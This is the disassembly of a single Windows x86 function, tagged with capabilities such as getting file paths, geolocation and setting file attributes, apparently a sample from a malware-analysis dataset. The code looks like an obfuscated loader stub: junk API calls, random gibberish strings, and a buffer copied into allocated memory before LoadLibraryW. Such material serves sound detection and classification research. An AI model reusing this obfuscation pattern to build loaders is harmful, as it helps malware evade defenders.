Function at 0x40b950
Capabilities:
Get common file path
Get geographical location
Set current directory
Set file attributes

Disassembly:
sub esp, 0xc34
mov eax, dword [0x813004]
xor eax, esp
mov dword [esp + 0xc30], eax
mov eax, dword [0x2ece1d4]
cmp eax, 0x7c
jne 0x40b9ed
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
lea edx, [esp + 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
lea eax, [esp + 0x430]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp dword [0x2ece1d4], 0x2d
jne 0x40b9cf
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0x811660
push 0x815878
call fcn.00401015
push 0
call fcn.004012d8
mov eax, dword [0x2ece1d4]
add esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynW]
xor esi, esi
mov ebp, 0xec58acac
or ebx, 0xffffffff
cmp eax, 0x8cf
jne 0x40ba1e
push 0
push str.molitesopipotuyimif_yetuf_yetareyufohakoxiyatupinub_kofecoxamajujamizuxa
lea ecx, [esp + 0x448]
push ecx
call edi
mov eax, dword [0x2ece1d4]
cmp esi, 0x162
jne 0x40ba35
mov eax, dword [0x814e04]
add eax, 0xa231
mov dword [0x2ece1d4], eax
cmp eax, 0x141
jne 0x40ba48
mov dword [0x815900], ebp
mov dword [0x815904], ebx
inc esi
cmp esi, 0x129916c
jl 0x40ba01
xor ebp, ebp
xor esi, esi
cmp esi, 0x562d05
jne 0x40ba69
mov edx, dword [0x813fe8]
mov dword [0x2ece1d8], edx
cmp eax, 0x3c
jne 0x40ba7a
push ebp
call dword [sym.imp.KERNEL32.dll_FindAtomA]
mov eax, dword [0x2ece1d4]
inc esi
cmp esi, 0x5f6c74
jl 0x40ba55
cmp eax, 0x110a
jne 0x40bb18
mov eax, dword [esp + 0x14]
push eax
push ebp
mov dword [0x2ece0a0], ebp
mov dword [0x2ece0a4], ebp
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push ebp
push str.dokujevada_tajefudedofiruvabitupejajigeje
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str.pofalakevohotoc
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebp
lea ecx, [esp + 0x444]
push ecx
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea edx, [esp + 0x18]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebp
push ebp
call fcn.004010c6
push ebp
push ebp
call fcn.004010c6
push ebp
call fcn.0040b4d4
push ebp
push ebp
call fcn.004010c6
push ebp
call fcn.00401155
push 0x811764
push 0x815878
call fcn.004012a5
push ebp
call fcn.00401092
mov eax, dword [0x2ece1d4]
add esp, 0x2c
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2ecdef4], eax
cmp dword [0x2ece1d4], ebp
jbe 0x40bb84
mov edi, dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
mov ebx, 0x19b0
lea ebx, [ebx]
mov eax, dword [0x2ece1d8]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dl, byte [ecx + esi]
mov eax, dword [0x2ecdef4]
mov byte [eax + esi], dl
cmp dword [0x2ece1d4], 0x5ab
jne 0x40bb7b
lea ecx, [esp + 0x18]
push ecx
push ebp
call edi
mov dword [0x2ecdef8], ebx
inc esi
cmp esi, dword [0x2ece1d4]
jb 0x40bb40
push 0x811768
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.0040b630
call fcn.0040b610
call fcn.0040b910
call fcn.0040b600
mov edi, dword [esp + 0x20]
xor esi, esi
lea esp, [esp]
lea edx, [esp + 0x40]
push edx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
cmp esi, 0x408e
jle 0x40bbcb
cmp edi, 0xf5bed7
jne 0x40bbd4
inc esi
cmp esi, 0x687ed2
jl 0x40bbb0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, 0x1e4165
mov edi, 0x8e46a6f0
mov ebp, 0x7c4
lea esp, [esp]
mov dword [0x2ecdefc], edi
cmp dword [0x2ece1d4], ebp
jne 0x40bc00
call esi
sub ebx, 1
jne 0x40bbf0
mov ecx, dword [esp + 0xc40]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401006
add esp, 0xc34
ret